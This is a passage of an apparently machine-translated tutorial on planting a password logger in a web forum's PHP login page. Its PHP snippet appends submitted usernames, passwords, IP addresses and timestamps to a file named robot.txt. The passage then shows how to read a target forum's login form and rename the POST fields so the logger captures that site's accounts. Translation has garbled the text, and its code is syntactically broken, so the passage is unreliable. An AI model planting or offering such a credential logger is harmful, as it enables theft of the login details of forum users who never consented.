If ($ _ POST [loginsubmit]! =) {// Determine whether the login button is clicked
$ Sb = user :. $ _ POST [username]. -- passwd :. $ _ POST [password]. -- ip :. $ HTTP_SERVER_VARS [REMOTE_ADDR]. --. date (Y-m-d H: I: s ). rn; // concatenate the value received by POST and assign the value to the variable $ sb.
Fwrite(fopen(robot.txt, AB), $ sb);} // write the result into a file
The following is a brief analysis. The login page of China is used as an example. Right-click bbs.xxx.com/login.php and right-click it to view the source code. Press CTRL + F to search for action and find the login form.
I only copied the key code.
<Form action = login. php? Method = post name = login onSubmit = this. submit. disabled = true;> // The value after the action is the address submitted by the form, which will process login. For example, if the method to determine whether the password is correct or not is POST, it is received with $ _ POST.
.... Powerful ellipsis ......
<TR>
<TD height = 40> account (<U> U </U>): <BR>
<INPUT
Class = input id = pwuser accessKey = u size = 16
Name = pwuser> </TD> </TR> // input box of the user name. Note that the value of its name corresponds to $ _ POST [username, to intercept the Chinese password, change it to $ _ POST [pwuser].
<TR>
<TD height = 40> password (<U> P </U>): <BR> <INPUT
Class = input id = pwpwd accessKey = p
Type = password size = 16 name = pwpwd> </TD> </TR> // input box of the user name. Pay attention to the value of its name, it corresponds to $ _ POST [username]. To intercept the Chinese password, change it to $ _ POST [pwpwd].